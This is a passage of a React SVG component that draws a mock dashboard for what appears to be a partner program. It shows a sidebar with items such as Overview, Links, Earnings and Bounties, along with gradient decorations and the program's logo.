0 0 1 7.29-7.292 7.27 7.27 0 0 1 5.905 3.026.708.708 0 1 1-1.148.829 5.86 5.86 0 0 0-4.757-2.439 5.876 5.876 0 0 0-5.875 5.876 5.8 5.8 0 0 0 .698 2.766l.091.164.013.022c.172.323.226.697.226 1.037a4.3 4.3 0 0 1-.149 1.086 5 5 0 0 1-.215.639q.128-.031.255-.067c.558-.163 1.029-.375 1.286-.542l.087-.048a.71.71 0 0 1 .652.029c.314.181.773.408 1.355.572a.708.708 0 1 1-.383 1.363 7.3 7.3 0 0 1-1.317-.514 7.6 7.6 0 0 1-1.284.499c-.643.187-1.385.32-2.06.284a.708.708 0 0 1-.463-1.208c.304-.304.574-.82.718-1.367.07-.266.103-.516.103-.721-.001-.216-.038-.333-.061-.377a7.24 7.24 0 0 1-.967-3.617\"\n        />\n        <path\n          fill=\"#404040\"\n          d=\"M30.206 197.007a3.697 3.697 0 0 0-3.677-3.697l-.02.002a3.697 3.697 0 1 0 .68 7.329l.189-.041c.425-.104.757-.266.975-.392l.089-.043a.7.7 0 0 1 .649.061c.11.072.301.163.538.249q0-.007-.003-.013a3 3 0 0 1-.108-.786c0-.249.04-.542.18-.805l.012-.02a3.7 3.7 0 0 0 .496-1.844m1.416 0c0 .923-.25 1.785-.675 2.531.01-.017-.012.018-.013.142 0 .113.019.259.062.422.089.339.253.644.42.81a.709.709 0 0 1-.464 1.207c-.488.027-1.013-.069-1.457-.199a5.5 5.5 0 0 1-.794-.298 5.1 5.1 0 0 1-2.192.499 5.112 5.112 0 0 1-.04-10.224l.04-.003a5.113 5.113 0 0 1 5.113 5.113\"\n        />\n        <path\n          fill=\"#f5f5f5\"\n          d=\"M43.31 14.16a8.496 8.496 0 0 1 8.496-8.496h149.257a8.495 8.495 0 0 1 8.495 8.496v601.77a8.495 8.495 0 0 1-8.495 8.495H51.806a8.495 8.495 0 0 1-8.495-8.495z\"\n        />\n        {/* Small sidebar logo */}\n        <image\n          x=\"59.471\"\n          y=\"21.239\"\n          href={program.logo || `${OG_AVATAR_URL}${program.name}`}\n          width=\"14.159\"\n          height=\"14.159\"\n          clipPath=\"circle(50%)\"\n        />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#171717\"\n          fontFamily=\"Inter\"\n          fontSize=\"12.743\"\n          fontWeight=\"600\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"32.865\">\n            {truncate(program.name, 18)}\n          </tspan>\n        </text>\n        <path\n          fill=\"#eff6ff\"\n          d=\"M59.47 51.327H195.4a5.31 5.31 0 0 1 5.31 5.31v11.328a5.31 5.31 0 0 1-5.31 5.31H59.471a5.31 5.31 0 0 1-5.31-5.31V56.638a5.31 5.31 0 0 1 5.31-5.31\"\n        />\n        <path\n          stroke=\"#dbeafe\"\n          strokeWidth=\".708\"\n          d=\"M59.47 51.327H195.4a5.31 5.31 0 0 1 5.31 5.31v11.328a5.31 5.31 0 0 1-5.31 5.31H59.471a5.31 5.31 0 0 1-5.31-5.31V56.638a5.31 5.31 0 0 1 5.31-5.31Z\"\n        />\n        <g fill=\"#155dfc\" clipPath={`url(#${id}-c)`}>\n          <path d=\"M66.55 60.099a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944M68.442 60.882a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944M69.225 62.773a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944M64.66 60.882a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944M63.876 62.773a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944\" />\n          <path d=\"m66.962 65.903-.005-.055-.027-.18c-.024-.148-.06-.335-.104-.55a61 61 0 0 0-.276-1.274c-.101.45-.2.899-.275 1.273-.044.216-.08.403-.104.55l-.027.181-.006.055v.017a.413.413 0 0 0 .825 0zm3.62-3.602a4.031 4.031 0 0 0-8.063 0 4.02 4.02 0 0 0 1.624 3.23l.201.142.044.032a.531.531 0 0 1-.579.883l-.047-.027-.254-.178a5.08 5.08 0 0 1-2.051-4.082 5.094 5.094 0 0 1 10.187 0c0 1.785-.92 3.351-2.305 4.26a.531.531 0 0 1-.582-.888 4.03 4.03 0 0 0 1.825-3.372m-2.557 3.619a1.475 1.475 0 0 1-2.95 0c0-.115.023-.275.048-.426.028-.165.066-.366.11-.588.09-.443.21-.982.328-1.502a157 157 0 0 1 .433-1.846l.03-.124.01-.042v-.002l.029-.086a.532.532 0 0 1 1.003.085v.003l.011.042.03.124.108.449c.088.373.207.877.325 1.397s.238 1.059.327 1.502c.045.222.083.423.11.588.025.151.048.31.048.426\" />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#155dfc\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"65.485\">\n            Overview\n          </tspan>\n        </text>\n        <path\n          fill=\"#404040\"\n          d=\"M63.99 83.876a.531.531 0 0 1 .71.787l-1 1.002a1.514 1.514 0 1 0 2.14 2.14l1.002-1a.53.53 0 1 1 .75.75l-1 1.001a2.577 2.577 0 0 1-3.644-3.643l1.002-1.001zm3.186-.297a.53.53 0 0 1 .75.75l-2.002 2.003a.531.531 0 0 1-.75-.751zm-.572-2.317a2.577 2.577 0 0 1 3.639 3.638l-.092.097-1 1a.53.53 0 1 1-.752-.75l1.001-1.001.104-.115a1.514 1.514 0 0 0-2.13-2.13l-.115.104-1.002 1a.531.531 0 0 1-.75-.75l1-1.002z\"\n        />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"88.14\">\n            Links\n          </tspan>\n        </text>\n        <g fill=\"#404040\" clipPath={`url(#${id}-d)`}>\n          <path\n            fillRule=\"evenodd\"\n            d=\"M68.754 106.291a3.05 3.05 0 0 1 3.048 3.048c0 .541-.145 1.047-.39 1.486l-.003.042c0 .052.009.125.03.209.048.179.133.33.208.405a.533.533 0 0 1-.348.906 2.7 2.7 0 0 1-.874-.119 3 3 0 0 1-.42-.154 3 3 0 0 1-1.251.274 3.048 3.048 0 0 1-.028-6.095zm0 1.064a1.986 1.986 0 1 0 .365 3.937c.277-.053.49-.156.625-.233a.53.53 0 0 1 .554.014q.026.017.067.038a2 2 0 0 1-.018-.247c0-.153.025-.344.118-.519l.008-.015c.17-.293.267-.63.267-.991 0-1.092-.884-1.98-1.975-1.986z\"\n            clipRule=\"evenodd\"\n          />\n          <path d=\"M65.594 102.845c1.433 0 2.698.705 3.476 1.781a.532.532 0 0 1-.861.622 3.22 3.22 0 0 0-2.615-1.341 3.23 3.23 0 0 0-2.895 4.66l.098.182.009.017c.111.209.144.446.144.652a2.6 2.6 0 0 1-.132.795 2.8 2.8 0 0 0 .61-.264l.064-.036a.53.53 0 0 1 .49.022c.173.099.425.224.745.314a.531.531 0 0 1-.287 1.023 4.3 4.3 0 0 1-.72-.277 4.5 4.5 0 0 1-.697.268c-.375.109-.814.188-1.22.166a.53.53 0 0 1-.347-.905c.154-.154.3-.426.378-.724.038-.144.055-.275.054-.38a.4.4 0 0 0-.02-.156 4.26 4.26 0 0 1-.567-2.126 4.293 4.293 0 0 1 4.293-4.293\" />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"110.795\">\n            Messages\n          </tspan>\n        </text>\n        <path\n          fill=\"#404040\"\n          d=\"M191.623 109.675a.531.531 0 0 1-1.062 0v-2.848l-3.223 3.224a.532.532 0 0 1-.751-.751l3.223-3.223h-2.847a.53.53 0 1 1 0-1.062h4.129a.53.53 0 0 1 .531.531z\"\n        />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#737373\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"60.887\" y=\"152.277\">\n            Insights\n          </tspan>\n        </text>\n        <g fill=\"#404040\" clipPath={`url(#${id}-e)`}>\n          <path d=\"M66.55 170.379c.294 0 .531.238.531.531v.201c.412.111.851.383 1.102.978l-.49.206-.488.207a.6.6 0 0 0-.27-.317.8.8 0 0 0-.36-.079c-.11 0-.325.035-.48.128a.37.37 0 0 0-.138.13.3.3 0 0 0-.036.144l.002.081a.35.35 0 0 0 .174.277c.128.086.318.149.54.189.262.047.659.131 1 .339.371.226.689.611.703 1.2v.095c-.026.774-.6 1.272-1.259 1.441v.129a.531.531 0 0 1-1.062 0v-.123a1.61 1.61 0 0 1-1.236-1.145l.51-.154.507-.155c.054.177.138.274.235.334.107.067.278.119.54.119.436 0 .652-.219.695-.428l.008-.087c-.004-.156-.064-.241-.194-.32-.16-.097-.385-.156-.633-.2-.285-.051-.642-.148-.947-.353a1.4 1.4 0 0 1-.638-1.056l-.007-.117a1.4 1.4 0 0 1 .172-.732c.135-.239.328-.406.519-.52.153-.091.315-.154.47-.197v-.215c0-.293.237-.531.53-.531\" />\n          <path d=\"M65.137 174.329a.53.53 0 0 1 .663.353l-1.016.309a.53.53 0 0 1 .353-.662M68.183 172.089a.532.532 0 0 1-.978.413z\" />\n          <path\n            fillRule=\"evenodd\"\n            d=\"M66.55 168.491a5.094 5.094 0 1 1 0 10.188 5.094 5.094 0 0 1 0-10.188m0 1.062a4.032 4.032 0 1 0 0 8.063 4.032 4.032 0 0 0 0-8.063\"\n            clipRule=\"evenodd\"\n          />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"176.768\">\n            Earnings\n          </tspan>\n        </text>\n        <path\n          fill=\"#404040\"\n          d=\"M62.088 200.172v-7.867a.531.531 0 0 1 1.062 0v7.867a.531.531 0 0 1-1.062 0m2.674 0v-4.72a.531.531 0 0 1 1.062 0v4.72a.531.531 0 0 1-1.062 0m2.517 0v-2.203a.531.531 0 0 1 1.062 0v2.203a.531.531 0 0 1-1.062 0m2.675 0v-6.608a.531.531 0 0 1 1.062 0v6.608a.531.531 0 0 1-1.062 0\"\n        />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"199.423\">\n            Analytics\n          </tspan>\n        </text>\n        <g clipPath={`url(#${id}-f)`}>\n          <path\n            fill=\"#404040\"\n            d=\"M65.279 218.497a.689.689 0 0 1 .874-.875l.007.003 4.596 1.577c.61.21.622 1.07.018 1.296v-.001l-1.359.511 2.069 2.069.037.04a.532.532 0 0 1-.748.747l-.04-.036-2.068-2.069-.511 1.359-.001.002c-.227.598-1.084.594-1.294-.02zm2.246 3.274.41-1.09.02-.044a.53.53 0 0 1 .338-.339l.046-.019 1.088-.41-2.895-.994zm-3.876-2.295a.531.531 0 0 1 .71.787l-.89.89a.531.531 0 0 1-.75-.751l.89-.89zm-.403-1.9a.531.531 0 0 1 0 1.062h-1.258a.53.53 0 1 1 0-1.062zm-.528-2.514a.53.53 0 0 1 .71-.037l.04.037.891.89.037.04a.531.531 0 0 1-.747.748l-.04-.037-.89-.89-.038-.04a.53.53 0 0 1 .037-.711m5.34 0a.532.532 0 0 1 .751.751l-.89.89-.04.037a.53.53 0 0 1-.711-.788zm-2.825.528v-1.258a.531.531 0 0 1 1.062 0v1.258a.531.531 0 0 1-1.062 0\"\n          />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"222.078\">\n            Events\n          </tspan>\n        </text>\n        <g clipPath={`url(#${id}-g)`}>\n          <path\n            stroke=\"#404040\"\n            strokeLinecap=\"round\"\n            strokeLinejoin=\"round\"\n            strokeWidth=\"1.062\"\n            d=\"M66.55 240.448a1.73 1.73 0 1 0 .002-3.46 1.73 1.73 0 0 0-.001 3.46M66.81 242.034c-.086-.005-.171-.013-.258-.013a3.93 3.93 0 0 0-3.593 2.341.952.952 0 0 0 .596 1.288c.654.205 1.495.386 2.469.438\"\n          />\n          <path\n            fill=\"#404040\"\n            d=\"M69.697 242.179a2.52 2.52 0 0 0-2.517 2.517 2.52 2.52 0 0 0 2.517 2.517 2.52 2.52 0 0 0 2.517-2.517 2.52 2.52 0 0 0-2.517-2.517m1.452 2.046-1.416 1.573a.47.47 0 0 1-.339.156l-.012.001a.47.47 0 0 1-.334-.139l-.786-.786a.472.472 0 0 1 .667-.668l.435.435 1.083-1.203a.473.473 0 1 1 .702.631\"\n          />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"244.733\">\n            Customers\n          </tspan>\n        </text>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#737373\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"60.887\" y=\"286.215\">\n            Engage\n          </tspan>\n        </text>\n        <g clipPath={`url(#${id}-h)`}>\n          <path\n            fill=\"#404040\"\n            fillRule=\"evenodd\"\n            d=\"M69.933 302.918a.54.54 0 0 0-.338-.172l-.056-.003H63.56a.533.533 0 0 0-.528.584 14 14 0 0 0 .041.36h-1.086a.53.53 0 0 0-.53.503l-.004.169a6 6 0 0 0 .239 1.668c.143.462.382.967.79 1.361.42.404.988.662 1.72.664.37.704.846 1.249 1.442 1.531-.035.123-.087.27-.171.425-.228.421-.703.956-1.742 1.251a.532.532 0 0 0 .144 1.042h5.35a.532.532 0 0 0 .144-1.042c-1.04-.295-1.515-.83-1.743-1.251a2 2 0 0 1-.171-.425c.596-.281 1.071-.827 1.442-1.531.732-.002 1.3-.26 1.72-.664.408-.394.647-.899.79-1.361.145-.465.203-.923.225-1.257a6 6 0 0 0 .014-.411l-.004-.169a.53.53 0 0 0-.427-.493l-.103-.01h-1.086l.013-.111q.015-.123.028-.249a.53.53 0 0 0-.134-.409m-3.384 7.289q-.059.148-.142.306c-.13.241-.306.489-.538.726h1.361a3.3 3.3 0 0 1-.538-.726 3 3 0 0 1-.143-.306m-2.394-6.402c.192 1.546.499 2.736.892 3.566.438.923.925 1.291 1.388 1.35h.229c.463-.059.95-.427 1.388-1.35.393-.83.7-2.02.892-3.566zm-1.624.944c.021.277.07.624.175.964.113.363.28.684.514.91.133.129.298.235.51.3-.21-.63-.38-1.358-.512-2.174zm7.35 0a14 14 0 0 1-.512 2.174c.212-.065.377-.171.51-.3.235-.226.402-.547.514-.91.105-.34.154-.687.175-.964z\"\n            clipRule=\"evenodd\"\n          />\n        </g>\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"310.706\">\n            Bounties\n          </tspan>\n        </text>\n        <path\n          fill=\"#404040\"\n          d=\"M64.035 333.166a.472.472 0 1 0 0-.944.472.472 0 0 0 0 .944\"\n        />\n        <path\n          fill=\"#404040\"\n          fillRule=\"evenodd\"\n          d=\"M64.822 325.713c.64 0 1.16.52 1.16 1.16v5.126l2.795-2.795.021-.033a.1.1 0 0 0-.021-.106l-1.113-1.113a.097.097 0 0 0-.139 0l-.04.036a.532.532 0 0 1-.711-.786l.088-.08a1.16 1.16 0 0 1 1.553.079l1.112 1.112.08.089a1.16 1.16 0 0 1 0 1.465l-.08.087-3.624 3.625h3.953a.1.1 0 0 0 .098-.098v-1.573a.1.1 0 0 0-.06-.091l-.038-.008-.054-.002a.532.532 0 0 1 .054-1.06l.118.007a1.16 1.16 0 0 1 1.042 1.154v1.573c0 .641-.52 1.16-1.16 1.16h-5.821l-.056-.003a1.946 1.946 0 0 1-1.891-1.944v-5.821c0-.64.52-1.16 1.16-1.16zm-1.574 1.062a.1.1 0 0 0-.098.098v5.821a.885.885 0 0 0 1.77 0v-5.821a.1.1 0 0 0-.098-.098z\"\n          clipRule=\"evenodd\"\n        />\n        <text\n          xmlSpace=\"preserve\"\n          fill=\"#404040\"\n          fontFamily=\"Inter\"\n          fontSize=\"9.912\"\n          fontWeight=\"500\"\n          letterSpacing=\"-.02em\"\n          style={{ whiteSpace: \"pre\" }}\n        >\n          <tspan x=\"80.709\" y=\"333.362\">\n            Resources\n          </tspan>\n        </text>\n        <g filter={`url(#${id}-i)`}>\n          <g clipPath={`url(#${id}-j)`}>\n            <path\n              fill=\"#fff\"\n              d=\"M215.221 14.16a8.495 8.495 0 0 1 8.495-8.496h962.124c4.69 0 8.5 3.804 8.5 8.496v661.239c0 4.692-3.81 8.495-8.5 8.495H223.716a8.495 8.495 0 0 1-8.495-8.495z\"\n            />\n            <mask id={`${id}-k`} fill=\"#fff\">\n              <path d=\"M215.221 5.664h979.119v45.31H215.221z\" />\n            </mask>\n            <path\n              fill=\"#e5e5e5\"\n              d=\"M1194.34 50.974v-.708H215.221v1.416h979.119z\"\n              mask={`url(#${id}-k)`}\n            />\n            <text\n              xmlSpace=\"preserve\"\n              fill=\"#171717\"\n              fontFamily=\"Inter\"\n              fontSize=\"12.743\"\n              fontWeight=\"600\"\n              letterSpacing=\"-.02em\"\n              style={{ whiteSpace: \"pre\" }}\n            >\n              <tspan x=\"272.92\" y=\"32.865\">\n                Overview\n              </tspan>\n            </text>\n            <g clipPath={`url(#${id}-l)`}>\n              <path\n                fill=\"#fafafa\"\n                d=\"M272.92 76.46a8.496 8.496 0 0 1 8.495-8.495h846.725c4.69 0 8.5 3.803 8.5 8.495v174.16c0 4.692-3.81 8.495-8.5 8.495H281.416a8.495 8.495 0 0 1-8.496-8.495z\"\n              />\n              <rect\n                x=\"569.912\"\n                y=\"50.266\"\n                width=\"566.898\"\n                height=\"227.08\"\n                fill={`url(#${id}-grid)`}\n                opacity=\".1\"\n              />\n              <g filter={`url(#${id}-m)`} opacity=\".3\">\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-n)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-o)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-p)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-q)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-r)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n                <ellipse\n                  cx=\"207.788\"\n                  cy=\"166.09\"\n                  fill={`url(#${id}-s)`}\n                  rx=\"207.788\"\n                  ry=\"166.09\"\n                  transform=\"matrix(1 0 0 -1 847.787 344.424)\"\n                />\n              </g>\n              <g\n                filter={`url(#${id}-t)`}\n                opacity=\".8\"\n                style={{ mixBlendMode: \"soft-light\" }}\n              >\n                <g clipPath={`url(#${id}-u)`} data-figma-skip-parse=\"true\">\n                  <foreignObject\n                    width=\"3984\"\n                    height=\"3984\"\n                    x=\"-1992\"\n                    y=\"-1992\"\n                    transform=\"matrix(-.12606 -.05853 .05541 -.13315 1055.57 165.665)\"\n                  >\n                    <div\n                      style={{\n                        background:\n                          \"conic-gradient(from 90deg,#ae3ba7 0deg,red 63deg,#eab308 158.4deg,#5cff80 240deg,#855afc 327.958deg,#ae3ba7 360deg)\",\n                        height: \"100%\",\n                        width: \"100%\",\n                        opacity: \"1\",\n                      }}\n                    />\n                  </foreignObject>\n                </g>\n                <ellipse\n                  cx=\"1055.57\"\n                  cy=\"165.665\"\n                  data-figma-gradient-fill='{\"type\":\"GRADIENT_ANGULAR\",\"stops\":[{\"color\":{\"r\":1.0,\"g\":0.0,\"b\":0.0,\"a\":1.0},\"position\":0.17499999701976776},{\"color\":{\"r\":0.91764706373214722,\"g\":0.70196080207824707,\"b\":0.031372550874948502,\"a\":1.0},\"position\":0.43999999761581421},{\"color\":{\"r\":0.36233723163604736,\"g\":1.0,\"b\":0.50262302160263062,\"a\":1.0},\"position\":0.66666668653488159},{\"color\":{\"r\":0.52156865596771240,\"g\":0.35294118523597717,\"b\":0.98823529481887817,\"a\":1.0},\"position\":0.91099578142166138}],\"stopsVar\":[],\"transform\":{\"m00\":-252.11561584472656,\"m01\":110.82010650634766,\"m02\":1126.2224121093750,\"m10\":-117.05022430419922,\"m11\":-266.28912353515625,\"m12\":357.33502197265625},\"opacity\":1.0,\"blendMode\":\"NORMAL\",\"visible\":true}'\n                  rx=\"207.788\"\n                  ry=\"219.469\"\n                />\n              </g>\n              <g\n                filter={`url(#${id}-v)`}\n                opacity=\".8\"\n                style={{ mixBlendMode: \"soft-light\" }}\n              >\n                <g clipPath={`url(#${id}-w)`} data-figma-skip-parse=\"true\">\n                  <foreignObject\n                    width=\"3984\"\n                    height=\"3984\"\n                    x=\"-1992\"\n                    y=\"-1992\"\n                    transform=\"matrix(-.12606 -.05853 .05541 -.13315 1055.57 165.665)\"\n                  >\n                    <div\n                      style={{\n                        background:\n                          \"conic-gradient(from 90deg,#ae3ba7 0deg,red 63deg,#eab308 158.4deg,#5cff80 240deg,#855afc 327.958deg,#ae3ba7 360deg)\",\n                        height: \"100%\",\n                        width: \"100%\",\n                        opacity: \"1\",\n                      }}\n                    />\n                  </foreignObject>\n                </g>\n                <ellipse\n                  cx=\"1055.57\"\n                  cy=\"165.665\"\n                  data-figma-gradient-fill='{\"type\":\"GRADIENT_ANGULAR\",\"stops\":[{\"color\":{\"r\":1.0,\"g\":0.0,\"b\":0.0,\"a\":1.0},\"position\":0.17499999701976776},{\"color\":{\"r\":0.91764706373214722,\"g\":0.70196080207824707,\"b\":0.031372550874948502,\"a\":1.0},\"position\":0.43999999761581421},{\"color\":{\"r\":0.36233723163604736,\"g\":1.0,\"b\":0.50262302160263062,\"a\":1.0},\"position\":0.66666668653488159},{\"color\":{\"r\":0.52156865596771240,\"g\":0.35294118523597717,\"b\":0.98823529481887817,\"a\":1.0},\"position\":0.91099578142166138}],\"stopsVar\":[],\"transform\":{\"m00\":-252.11561584472656,\"m01\":110.82010650634766,\"m02\":1126.2224121093750,\"m10\":-117.05022430419922,\"m11\":-266.28912353515625,\"m12\":357.33502197265625},\"opacity\":1.0,\"blendMode\":\"NORMAL\",\"visible\":true}'\n                  rx=\"207.788\"\n                  ry=\"219.469\"\n                />\n              </g>\n              <path\n                fill={`url(#${id}-x)`}\n                d=\"M272.92 67.965h863.717v191.15H272.92z\"\n              />\n              <g filter={`url(#${id}-y)`}>\n                <path\n                  fill={`url(#${id}-z)`}\n                  d=\"M966.727 118.231c0-6.256 5.071-11.328 11.327-11.328h90.616c6.26 0 11.33 5.072 11.33 11.328v90.619c0 6.256-5.07 11.328-11.33 11.328h-90.616c-6.256 0-11.327-5.072-11.327-11.328z\"\n                />\n              </g>\n              <path\n                stroke=\"#000\"\n                strokeOpacity=\".06\"\n                strokeWidth=\".531\"\n                d=\"M966.727 118.231c0-6.256 5.071-11.328 11.327-11.328h90.616c6.26 0 11.33 5.072 11.33 11.328v90.619c0 6.256-5.07 11.328-11.33 11.328h-90.616c-6.256 0-11.327-5.072-11.327-11.328z\"\n              />\n              {/* Big overview logo */}\n              <image\n                x=\"995.045\"\n                y=\"135.222\"\n                href={program.logo || `${OG_AVATAR_URL}${program.name}`}\n                width=\"56.637\"\n                height=\"56.637\"\n                clipPath=\"circle(50%)\"\n              />\n              <g filter={`url(#${id}-A)`} />\n            </g>\n            <path\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              d=\"M281.415 68.318h846.725c4.5 0 8.14 3.646 8.14 8.142v174.16a8.14 8.14 0 0 1-8.14 8.142H281.415a8.144 8.144 0 0 1-8.142-8.142V76.46a8.143 8.143 0 0 1 8.142-8.142Z\"\n            />\n            <rect\n              width=\"569.911\"\n              height=\"186.195\"\n              x=\"273.274\"\n              y=\"276.461\"\n              fill=\"#fff\"\n              rx=\"5.31\"\n            />\n            <rect\n              width=\"569.911\"\n              height=\"186.195\"\n              x=\"273.274\"\n              y=\"276.461\"\n              stroke=\"#e5e5e5\"\n              strokeWidth=\".708\"\n              rx=\"5.31\"\n            />\n            <path\n              fill=\"#262626\"\n              fillRule=\"evenodd\"\n              d=\"M323.401 293.92q.543 0 .893.185.353.181.563.438.209.254.318.479h.08V294h1.437v6.279q0 .792-.379 1.311a2.27 2.27 0 0 1-1.034.777 4.1 4.1 0 0 1-1.488.257q-.784 0-1.347-.213a2.4 2.4 0 0 1-.906-.563 1.95 1.95 0 0 1-.474-.784l1.311-.318q.089.18.258.358.169.18.454.298.29.12.729.12.618 0 1.025-.301.406-.298.406-.982v-1.171h-.072a2 2 0 0 1-.33.463 1.7 1.7 0 0 1-.567.398q-.35.16-.881.161-.712 0-1.291-.334-.576-.337-.918-1.005-.337-.673-.337-1.681 0-1.018.337-1.719.343-.703.922-1.066a2.37 2.37 0 0 1 1.291-.365m.402 1.194q-.486 0-.812.253a1.54 1.54 0 0 0-.491.697q-.165.438-.165.997 0 .567.165.994.17.422.495.659.33.234.808.234.462 0 .788-.225.326-.227.495-.648.17-.423.169-1.014 0-.583-.169-1.022a1.45 1.45 0 0 0-.491-.679q-.321-.246-.792-.246M297.012 293.92q.447 0 .89.104.442.105.808.346.366.238.587.648.226.41.226 1.026v4.135h-1.4v-.849h-.049a1.8 1.8 0 0 1-.374.483 1.8 1.8 0 0 1-.599.357 2.4 2.4 0 0 1-.841.133q-.587 0-1.058-.209a1.7 1.7 0 0 1-.74-.628q-.27-.414-.269-1.021 0-.523.193-.865t.527-.547a2.7 2.7 0 0 1 .752-.31 6 6 0 0 1 .873-.157q.543-.056.881-.1.338-.048.491-.145.156-.101.157-.31v-.024q0-.455-.27-.704-.269-.249-.776-.249-.536 0-.849.233a1.16 1.16 0 0 0-.419.551l-1.359-.193q.161-.563.531-.941.37-.382.905-.571a3.5 3.5 0 0 1 1.182-.193m1.058 3.314a.7.7 0 0 1-.233.104 3 3 0 0 1-.362.085 10 10 0 0 1-.398.065l-.342.047q-.326.045-.583.146a.96.96 0 0 0-.407.281.7.7 0 0 0-.148.458q0 .403.293.608.294.205.748.206.439 0 .761-.173a1.3 1.3 0 0 0 .494-.467 1.2 1.2 0 0 0 .177-.632z\"\n              clipRule=\"evenodd\"\n            />\n            <path\n              fill=\"#262626\"\n              d=\"M330.355 293.92q1.086 0 1.709.462.628.462.777 1.251l-1.328.145a1.1 1.1 0 0 0-.197-.378 1 1 0 0 0-.37-.286 1.36 1.36 0 0 0-.571-.108q-.455 0-.764.197-.306.197-.302.511a.53.53 0 0 0 .197.438q.205.17.676.277l1.053.226q.877.19 1.304.599.43.411.434 1.074a1.68 1.68 0 0 1-.342 1.03q-.333.443-.929.692a3.5 3.5 0 0 1-1.367.25q-1.135 0-1.826-.475a1.9 1.9 0 0 1-.825-1.332l1.42-.137a1 1 0 0 0 .41.632q.313.213.816.213.52 0 .833-.213.318-.213.318-.527a.55.55 0 0 0-.206-.439q-.201-.173-.627-.265l-1.054-.222q-.888-.184-1.315-.622-.426-.443-.422-1.119-.004-.572.309-.989.318-.423.881-.652.567-.234 1.308-.233M293.251 293.192h-3.866v2.236h3.588v1.251h-3.588v2.249h3.898v1.251h-5.39v-8.239h5.358zM303.761 293.911q.12 0 .27.013.152.008.253.027v1.34a1.5 1.5 0 0 0-.294-.056 3 3 0 0 0-.382-.028q-.398 0-.716.173-.314.169-.494.471a1.3 1.3 0 0 0-.182.695v3.633h-1.456V294h1.412v1.03h.064a1.54 1.54 0 0 1 .58-.825q.414-.294.945-.294M308.332 293.92q.639 0 1.113.273.48.274.741.793.266.519.261 1.259v3.934h-1.456v-3.709q0-.62-.322-.97-.318-.35-.881-.35-.382 0-.679.17-.294.165-.463.478-.165.314-.165.761v3.62h-1.456V294h1.391v1.05h.073q.213-.519.68-.825.47-.306 1.163-.305M313.157 300.179h-1.456V294h1.456zM317.734 293.92q.64 0 1.115.273.479.274.74.793.265.519.262 